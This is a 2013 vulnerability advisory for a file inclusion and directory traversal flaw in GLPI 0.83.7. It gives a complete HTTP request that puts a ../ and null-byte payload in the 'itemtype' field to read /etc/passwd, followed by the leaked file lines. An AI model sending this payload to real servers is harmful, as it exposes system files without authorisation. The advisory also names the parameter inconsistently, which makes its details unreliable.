GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks
and URL encoded NULL bytes.

========================================================================
/ajax/common.tabs.php:
----------------------

46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
47: exit();
62: $item = new $_REQUEST['itemtype'])();

========================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

---


POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/user.form.php?id=2
Content-Length: 75
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2

---

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
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